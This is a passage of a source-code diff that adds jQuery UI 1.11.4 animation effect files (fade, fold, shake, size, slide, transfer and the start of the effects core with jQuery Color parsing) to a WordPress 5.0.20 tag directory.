+			left = offset.left + j * width;
+			mx = j - ( cells - 1 ) / 2 ;
+
+			// Create a clone of the now hidden main element that will be absolute positioned
+			// within a wrapper div off the -left and -top equal to size of our pieces
+			el
+				.clone()
+				.appendTo( "body" )
+				.wrap( "<div></div>" )
+				.css({
+					position: "absolute",
+					visibility: "visible",
+					left: -j * width,
+					top: -i * height
+				})
+
+			// select the wrapper - make it overflow: hidden and absolute positioned based on
+			// where the original was located +left and +top equal to the size of pieces
+				.parent()
+				.addClass( "ui-effects-explode" )
+				.css({
+					position: "absolute",
+					overflow: "hidden",
+					width: width,
+					height: height,
+					left: left + ( show ? mx * width : 0 ),
+					top: top + ( show ? my * height : 0 ),
+					opacity: show ? 0 : 1
+				}).animate({
+					left: left + ( show ? 0 : mx * width ),
+					top: top + ( show ? 0 : my * height ),
+					opacity: show ? 1 : 0
+				}, o.duration || 500, o.easing, childComplete );
+		}
+	}
+
+	function animComplete() {
+		el.css({
+			visibility: "visible"
+		});
+		$( pieces ).remove();
+		if ( !show ) {
+			el.hide();
+		}
+		done();
+	}
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-fade.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-fade.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-fade.js	(revision 56912)
@@ -0,0 +1,40 @@
+/*!
+ * jQuery UI Effects Fade 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/fade-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.fade = function( o, done ) {
+	var el = $( this ),
+		mode = $.effects.setMode( el, o.mode || "toggle" );
+
+	el.animate({
+		opacity: mode
+	}, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: done
+	});
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-fold.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-fold.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-fold.js	(revision 56912)
@@ -0,0 +1,86 @@
+/*!
+ * jQuery UI Effects Fold 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/fold-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.fold = function( o, done ) {
+
+	// Create element
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+		hide = mode === "hide",
+		size = o.size || 15,
+		percent = /([0-9]+)%/.exec( size ),
+		horizFirst = !!o.horizFirst,
+		widthFirst = show !== horizFirst,
+		ref = widthFirst ? [ "width", "height" ] : [ "height", "width" ],
+		duration = o.duration / 2,
+		wrapper, distance,
+		animation1 = {},
+		animation2 = {};
+
+	$.effects.save( el, props );
+	el.show();
+
+	// Create Wrapper
+	wrapper = $.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+	distance = widthFirst ?
+		[ wrapper.width(), wrapper.height() ] :
+		[ wrapper.height(), wrapper.width() ];
+
+	if ( percent ) {
+		size = parseInt( percent[ 1 ], 10 ) / 100 * distance[ hide ? 0 : 1 ];
+	}
+	if ( show ) {
+		wrapper.css( horizFirst ? {
+			height: 0,
+			width: size
+		} : {
+			height: size,
+			width: 0
+		});
+	}
+
+	// Animation
+	animation1[ ref[ 0 ] ] = show ? distance[ 0 ] : size;
+	animation2[ ref[ 1 ] ] = show ? distance[ 1 ] : 0;
+
+	// Animate
+	wrapper
+		.animate( animation1, duration, o.easing )
+		.animate( animation2, duration, o.easing, function() {
+			if ( hide ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		});
+
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-highlight.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-highlight.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-highlight.js	(revision 56912)
@@ -0,0 +1,60 @@
+/*!
+ * jQuery UI Effects Highlight 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/highlight-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.highlight = function( o, done ) {
+	var elem = $( this ),
+		props = [ "backgroundImage", "backgroundColor", "opacity" ],
+		mode = $.effects.setMode( elem, o.mode || "show" ),
+		animation = {
+			backgroundColor: elem.css( "backgroundColor" )
+		};
+
+	if (mode === "hide") {
+		animation.opacity = 0;
+	}
+
+	$.effects.save( elem, props );
+
+	elem
+		.show()
+		.css({
+			backgroundImage: "none",
+			backgroundColor: o.color || "#ffff99"
+		})
+		.animate( animation, {
+			queue: false,
+			duration: o.duration,
+			easing: o.easing,
+			complete: function() {
+				if ( mode === "hide" ) {
+					elem.hide();
+				}
+				$.effects.restore( elem, props );
+				done();
+			}
+		});
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-puff.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-puff.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-puff.js	(revision 56912)
@@ -0,0 +1,60 @@
+/*!
+ * jQuery UI Effects Puff 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/puff-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect",
+			"./effect-scale"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.puff = function( o, done ) {
+	var elem = $( this ),
+		mode = $.effects.setMode( elem, o.mode || "hide" ),
+		hide = mode === "hide",
+		percent = parseInt( o.percent, 10 ) || 150,
+		factor = percent / 100,
+		original = {
+			height: elem.height(),
+			width: elem.width(),
+			outerHeight: elem.outerHeight(),
+			outerWidth: elem.outerWidth()
+		};
+
+	$.extend( o, {
+		effect: "scale",
+		queue: false,
+		fade: true,
+		mode: mode,
+		complete: done,
+		percent: hide ? percent : 100,
+		from: hide ?
+			original :
+			{
+				height: original.height * factor,
+				width: original.width * factor,
+				outerHeight: original.outerHeight * factor,
+				outerWidth: original.outerWidth * factor
+			}
+	});
+
+	elem.effect( o );
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-pulsate.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-pulsate.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-pulsate.js	(revision 56912)
@@ -0,0 +1,73 @@
+/*!
+ * jQuery UI Effects Pulsate 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/pulsate-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.pulsate = function( o, done ) {
+	var elem = $( this ),
+		mode = $.effects.setMode( elem, o.mode || "show" ),
+		show = mode === "show",
+		hide = mode === "hide",
+		showhide = ( show || mode === "hide" ),
+
+		// showing or hiding leaves of the "last" animation
+		anims = ( ( o.times || 5 ) * 2 ) + ( showhide ? 1 : 0 ),
+		duration = o.duration / anims,
+		animateTo = 0,
+		queue = elem.queue(),
+		queuelen = queue.length,
+		i;
+
+	if ( show || !elem.is(":visible")) {
+		elem.css( "opacity", 0 ).show();
+		animateTo = 1;
+	}
+
+	// anims - 1 opacity "toggles"
+	for ( i = 1; i < anims; i++ ) {
+		elem.animate({
+			opacity: animateTo
+		}, duration, o.easing );
+		animateTo = 1 - animateTo;
+	}
+
+	elem.animate({
+		opacity: animateTo
+	}, duration, o.easing);
+
+	elem.queue(function() {
+		if ( hide ) {
+			elem.hide();
+		}
+		done();
+	});
+
+	// We just queued up "anims" animations, we need to put them next in the queue
+	if ( queuelen > 1 ) {
+		queue.splice.apply( queue,
+			[ 1, 0 ].concat( queue.splice( queuelen, anims + 1 ) ) );
+	}
+	elem.dequeue();
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-scale.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-scale.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-scale.js	(revision 56912)
@@ -0,0 +1,89 @@
+/*!
+ * jQuery UI Effects Scale 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/scale-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect",
+			"./effect-size"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.scale = function( o, done ) {
+
+	// Create element
+	var el = $( this ),
+		options = $.extend( true, {}, o ),
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		percent = parseInt( o.percent, 10 ) ||
+			( parseInt( o.percent, 10 ) === 0 ? 0 : ( mode === "hide" ? 0 : 100 ) ),
+		direction = o.direction || "both",
+		origin = o.origin,
+		original = {
+			height: el.height(),
+			width: el.width(),
+			outerHeight: el.outerHeight(),
+			outerWidth: el.outerWidth()
+		},
+		factor = {
+			y: direction !== "horizontal" ? (percent / 100) : 1,
+			x: direction !== "vertical" ? (percent / 100) : 1
+		};
+
+	// We are going to pass this effect to the size effect:
+	options.effect = "size";
+	options.queue = false;
+	options.complete = done;
+
+	// Set default origin and restore for show/hide
+	if ( mode !== "effect" ) {
+		options.origin = origin || [ "middle", "center" ];
+		options.restore = true;
+	}
+
+	options.from = o.from || ( mode === "show" ? {
+		height: 0,
+		width: 0,
+		outerHeight: 0,
+		outerWidth: 0
+	} : original );
+	options.to = {
+		height: original.height * factor.y,
+		width: original.width * factor.x,
+		outerHeight: original.outerHeight * factor.y,
+		outerWidth: original.outerWidth * factor.x
+	};
+
+	// Fade option to support puff
+	if ( options.fade ) {
+		if ( mode === "show" ) {
+			options.from.opacity = 0;
+			options.to.opacity = 1;
+		}
+		if ( mode === "hide" ) {
+			options.from.opacity = 1;
+			options.to.opacity = 0;
+		}
+	}
+
+	// Animate
+	el.effect( options );
+
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-shake.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-shake.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-shake.js	(revision 56912)
@@ -0,0 +1,84 @@
+/*!
+ * jQuery UI Effects Shake 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/shake-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.shake = function( o, done ) {
+
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		direction = o.direction || "left",
+		distance = o.distance || 20,
+		times = o.times || 3,
+		anims = times * 2 + 1,
+		speed = Math.round( o.duration / anims ),
+		ref = (direction === "up" || direction === "down") ? "top" : "left",
+		positiveMotion = (direction === "up" || direction === "left"),
+		animation = {},
+		animation1 = {},
+		animation2 = {},
+		i,
+
+		// we will need to re-assemble the queue to stack our animations in place
+		queue = el.queue(),
+		queuelen = queue.length;
+
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el );
+
+	// Animation
+	animation[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance;
+	animation1[ ref ] = ( positiveMotion ? "+=" : "-=" ) + distance * 2;
+	animation2[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance * 2;
+
+	// Animate
+	el.animate( animation, speed, o.easing );
+
+	// Shakes
+	for ( i = 1; i < times; i++ ) {
+		el.animate( animation1, speed, o.easing ).animate( animation2, speed, o.easing );
+	}
+	el
+		.animate( animation1, speed, o.easing )
+		.animate( animation, speed / 2, o.easing )
+		.queue(function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		});
+
+	// inject all the animations we just queued to be first in line (after "inprogress")
+	if ( queuelen > 1) {
+		queue.splice.apply( queue,
+			[ 1, 0 ].concat( queue.splice( queuelen, anims + 1 ) ) );
+	}
+	el.dequeue();
+
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-size.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-size.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-size.js	(revision 56912)
@@ -0,0 +1,233 @@
+/*!
+ * jQuery UI Effects Size 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/size-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.size = function( o, done ) {
+
+	// Create element
+	var original, baseline, factor,
+		el = $( this ),
+		props0 = [ "position", "top", "bottom", "left", "right", "width", "height", "overflow", "opacity" ],
+
+		// Always restore
+		props1 = [ "position", "top", "bottom", "left", "right", "overflow", "opacity" ],
+
+		// Copy for children
+		props2 = [ "width", "height", "overflow" ],
+		cProps = [ "fontSize" ],
+		vProps = [ "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom" ],
+		hProps = [ "borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight" ],
+
+		// Set options
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		restore = o.restore || mode !== "effect",
+		scale = o.scale || "both",
+		origin = o.origin || [ "middle", "center" ],
+		position = el.css( "position" ),
+		props = restore ? props0 : props1,
+		zero = {
+			height: 0,
+			width: 0,
+			outerHeight: 0,
+			outerWidth: 0
+		};
+
+	if ( mode === "show" ) {
+		el.show();
+	}
+	original = {
+		height: el.height(),
+		width: el.width(),
+		outerHeight: el.outerHeight(),
+		outerWidth: el.outerWidth()
+	};
+
+	if ( o.mode === "toggle" && mode === "show" ) {
+		el.from = o.to || zero;
+		el.to = o.from || original;
+	} else {
+		el.from = o.from || ( mode === "show" ? zero : original );
+		el.to = o.to || ( mode === "hide" ? zero : original );
+	}
+
+	// Set scaling factor
+	factor = {
+		from: {
+			y: el.from.height / original.height,
+			x: el.from.width / original.width
+		},
+		to: {
+			y: el.to.height / original.height,
+			x: el.to.width / original.width
+		}
+	};
+
+	// Scale the css box
+	if ( scale === "box" || scale === "both" ) {
+
+		// Vertical props scaling
+		if ( factor.from.y !== factor.to.y ) {
+			props = props.concat( vProps );
+			el.from = $.effects.setTransition( el, vProps, factor.from.y, el.from );
+			el.to = $.effects.setTransition( el, vProps, factor.to.y, el.to );
+		}
+
+		// Horizontal props scaling
+		if ( factor.from.x !== factor.to.x ) {
+			props = props.concat( hProps );
+			el.from = $.effects.setTransition( el, hProps, factor.from.x, el.from );
+			el.to = $.effects.setTransition( el, hProps, factor.to.x, el.to );
+		}
+	}
+
+	// Scale the content
+	if ( scale === "content" || scale === "both" ) {
+
+		// Vertical props scaling
+		if ( factor.from.y !== factor.to.y ) {
+			props = props.concat( cProps ).concat( props2 );
+			el.from = $.effects.setTransition( el, cProps, factor.from.y, el.from );
+			el.to = $.effects.setTransition( el, cProps, factor.to.y, el.to );
+		}
+	}
+
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el );
+	el.css( "overflow", "hidden" ).css( el.from );
+
+	// Adjust
+	if (origin) { // Calculate baseline shifts
+		baseline = $.effects.getBaseline( origin, original );
+		el.from.top = ( original.outerHeight - el.outerHeight() ) * baseline.y;
+		el.from.left = ( original.outerWidth - el.outerWidth() ) * baseline.x;
+		el.to.top = ( original.outerHeight - el.to.outerHeight ) * baseline.y;
+		el.to.left = ( original.outerWidth - el.to.outerWidth ) * baseline.x;
+	}
+	el.css( el.from ); // set top & left
+
+	// Animate
+	if ( scale === "content" || scale === "both" ) { // Scale the children
+
+		// Add margins/font-size
+		vProps = vProps.concat([ "marginTop", "marginBottom" ]).concat(cProps);
+		hProps = hProps.concat([ "marginLeft", "marginRight" ]);
+		props2 = props0.concat(vProps).concat(hProps);
+
+		el.find( "*[width]" ).each( function() {
+			var child = $( this ),
+				c_original = {
+					height: child.height(),
+					width: child.width(),
+					outerHeight: child.outerHeight(),
+					outerWidth: child.outerWidth()
+				};
+			if (restore) {
+				$.effects.save(child, props2);
+			}
+
+			child.from = {
+				height: c_original.height * factor.from.y,
+				width: c_original.width * factor.from.x,
+				outerHeight: c_original.outerHeight * factor.from.y,
+				outerWidth: c_original.outerWidth * factor.from.x
+			};
+			child.to = {
+				height: c_original.height * factor.to.y,
+				width: c_original.width * factor.to.x,
+				outerHeight: c_original.height * factor.to.y,
+				outerWidth: c_original.width * factor.to.x
+			};
+
+			// Vertical props scaling
+			if ( factor.from.y !== factor.to.y ) {
+				child.from = $.effects.setTransition( child, vProps, factor.from.y, child.from );
+				child.to = $.effects.setTransition( child, vProps, factor.to.y, child.to );
+			}
+
+			// Horizontal props scaling
+			if ( factor.from.x !== factor.to.x ) {
+				child.from = $.effects.setTransition( child, hProps, factor.from.x, child.from );
+				child.to = $.effects.setTransition( child, hProps, factor.to.x, child.to );
+			}
+
+			// Animate children
+			child.css( child.from );
+			child.animate( child.to, o.duration, o.easing, function() {
+
+				// Restore children
+				if ( restore ) {
+					$.effects.restore( child, props2 );
+				}
+			});
+		});
+	}
+
+	// Animate
+	el.animate( el.to, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( el.to.opacity === 0 ) {
+				el.css( "opacity", el.from.opacity );
+			}
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			if ( !restore ) {
+
+				// we need to calculate our new positioning based on the scaling
+				if ( position === "static" ) {
+					el.css({
+						position: "relative",
+						top: el.to.top,
+						left: el.to.left
+					});
+				} else {
+					$.each([ "top", "left" ], function( idx, pos ) {
+						el.css( pos, function( _, str ) {
+							var val = parseInt( str, 10 ),
+								toRef = idx ? el.to.left : el.to.top;
+
+							// if original was "auto", recalculate the new value from wrapper
+							if ( str === "auto" ) {
+								return toRef + "px";
+							}
+
+							return val + toRef + "px";
+						});
+					});
+				}
+			}
+
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-slide.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-slide.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-slide.js	(revision 56912)
@@ -0,0 +1,74 @@
+/*!
+ * jQuery UI Effects Slide 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/slide-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.slide = function( o, done ) {
+
+	// Create element
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "width", "height" ],
+		mode = $.effects.setMode( el, o.mode || "show" ),
+		show = mode === "show",
+		direction = o.direction || "left",
+		ref = (direction === "up" || direction === "down") ? "top" : "left",
+		positiveMotion = (direction === "up" || direction === "left"),
+		distance,
+		animation = {};
+
+	// Adjust
+	$.effects.save( el, props );
+	el.show();
+	distance = o.distance || el[ ref === "top" ? "outerHeight" : "outerWidth" ]( true );
+
+	$.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+
+	if ( show ) {
+		el.css( ref, positiveMotion ? (isNaN(distance) ? "-" + distance : -distance) : distance );
+	}
+
+	// Animation
+	animation[ ref ] = ( show ?
+		( positiveMotion ? "+=" : "-=") :
+		( positiveMotion ? "-=" : "+=")) +
+		distance;
+
+	// Animate
+	el.animate( animation, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-transfer.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-transfer.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-transfer.js	(revision 56912)
@@ -0,0 +1,57 @@
+/*!
+ * jQuery UI Effects Transfer 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/transfer-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.transfer = function( o, done ) {
+	var elem = $( this ),
+		target = $( o.to ),
+		targetFixed = target.css( "position" ) === "fixed",
+		body = $("body"),
+		fixTop = targetFixed ? body.scrollTop() : 0,
+		fixLeft = targetFixed ? body.scrollLeft() : 0,
+		endPosition = target.offset(),
+		animation = {
+			top: endPosition.top - fixTop,
+			left: endPosition.left - fixLeft,
+			height: target.innerHeight(),
+			width: target.innerWidth()
+		},
+		startPosition = elem.offset(),
+		transfer = $( "<div class='ui-effects-transfer'></div>" )
+			.appendTo( document.body )
+			.addClass( o.className )
+			.css({
+				top: startPosition.top - fixTop,
+				left: startPosition.left - fixLeft,
+				height: elem.innerHeight(),
+				width: elem.innerWidth(),
+				position: targetFixed ? "fixed" : "absolute"
+			})
+			.animate( animation, o.duration, o.easing, function() {
+				transfer.remove();
+				done();
+			});
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect.js	(revision 56912)
@@ -0,0 +1,1301 @@
+/*!
+ * jQuery UI Effects 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/category/effects-core/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var dataSpace = "ui-effects-",
+
+	// Create a local jQuery because jQuery Color relies on it and the
+	// global may not exist with AMD and a custom build (#10199)
+	jQuery = $;
+
+$.effects = {
+	effect: {}
+};
+
+/*!
+ * jQuery Color Animations v2.1.2
+ * https://github.com/jquery/jquery-color
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * Date: Wed Jan 16 08:47:09 2013 -0600
+ */
+(function( jQuery, undefined ) {
+
+	var stepHooks = "backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",
+
+	// plusequals test for += 100 -= 100
+	rplusequals = /^([\-+])=\s*(\d+\.?\d*)/,
+	// a set of RE's that can match strings and generate color tuples.
+	stringParsers = [ {
+			re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ],
+					execResult[ 2 ],
+					execResult[ 3 ],
+					execResult[ 4 ]
+				];
+			}
+		}, {
+			re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ] * 2.55,
+					execResult[ 2 ] * 2.55,
+					execResult[ 3 ] * 2.55,
+					execResult[ 4 ]
+				];
+			}
+		}, {
+			// this regex ignores A-F because it's compared against an already lowercased string
+			re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,
+			parse: function( execResult ) {
+				return [
+					parseInt( execResult[ 1 ], 16 ),
+					parseInt( execResult[ 2 ], 16 ),
+					parseInt( execResult[ 3 ], 16 )
+				];
+			}
+		}, {
+			// this regex ignores A-F because it's compared against an already lowercased string
+			re: /#([a-f0-9])([a-f0-9])([a-f0-9])/,
+			parse: function( execResult ) {
+				return [
+					parseInt( execResult[ 1 ] + execResult[ 1 ], 16 ),
+					parseInt( execResult[ 2 ] + execResult[ 2 ], 16 ),
+					parseInt( execResult[ 3 ] + execResult[ 3 ], 16 )
+				];
+			}
+		}, {
+			re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			space: "hsla",
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ],
+					execResult[ 2 ] / 100,
+					execResult[ 3 ] / 100,
+					execResult[ 4 ]
+				];
+			}
+		} ],
+
+	// jQuery.Color( )
+	color = jQuery.Color = function( color, green, blue, alpha ) {
+		return new jQuery.Color.fn.parse( color, green, blue, alpha );
+	},
+	spaces = {
+		rgba: {
+			props: {
+				red: {
+					idx: 0,
+					type: "byte"
+				},
+				green: {
+					idx: 1,
+					type: "byte"
+				},
+				blue: {
+					idx: 2,
+					type: "byte"
+				}
+			}
+		},
+
+		hsla: {
+			props: {
+				hue: {
+					idx: 0,
+					type: "degrees"
+				},
+				saturation: {
+					idx: 1,
+					type: "percent"
+				},
+				lightness: {
+					idx: 2,
+					type: "percent"
+				}
+			}
+		}
+	},
+	propTypes = {
+		"byte": {
+			floor: true,
+			max: 255
+		},
+		"percent": {
+			max: 1
+		},
+		"degrees": {
+			mod: 360,
+			floor: true
+		}
+	},
+	support = color.support = {},
+
+	// element for support tests
+	supportElem = jQuery( "<p>" )[ 0 ],
+
+	// colors = jQuery.Color.names
+	colors,
+
+	// local aliases of functions called often
+	each = jQuery.each;
+
+// determine rgba support immediately
+supportElem.style.cssText = "background-color:rgba(1,1,1,.5)";
+support.rgba = supportElem.style.backgroundColor.indexOf( "rgba" ) > -1;
+
+// define cache name and alpha properties
+// for rgba and hsla spaces
+each( spaces, function( spaceName, space ) {
+	space.cache = "_" + spaceName;
+	space.props.alpha = {
+		idx: 3,
+		type: "percent",
+		def: 1
+	};
+});
+
+function clamp( value, prop, allowEmpty ) {
+	var type = propTypes[ prop.type ] || {};
+
+	if ( value == null ) {
+		return (allowEmpty || !prop.def) ? null : prop.def;
+	}
+
+	// ~~ is an short way of doing floor for positive numbers
+	value = type.floor ? ~~value : parseFloat( value );
+
+	// IE will pass in empty strings as value for alpha,
+	// which will hit this case
+	if ( isNaN( value ) ) {
+		return prop.def;
+	}
+
+	if ( type.mod ) {
+		// we add mod before modding to make sure that negatives values
+		// get converted properly: -10 -> 350
+		return (value + type.mod) % type.mod;
+	}
+
+	// for now all property types without mod have min and max
+	return 0 > value ? 0 : type.max < value ? type.max : value;
+}
+
+function stringParse( string ) {
+	var inst = color(),
+		rgba = inst._rgba = [];
+
+	string = string.toLowerCase();
+
+	each( stringParsers, function( i, parser ) {
+		var parsed,
+			match = parser.re.exec( string ),
+			values = match && parser.parse( match ),
+			spaceName = parser.space || "rgba";
+
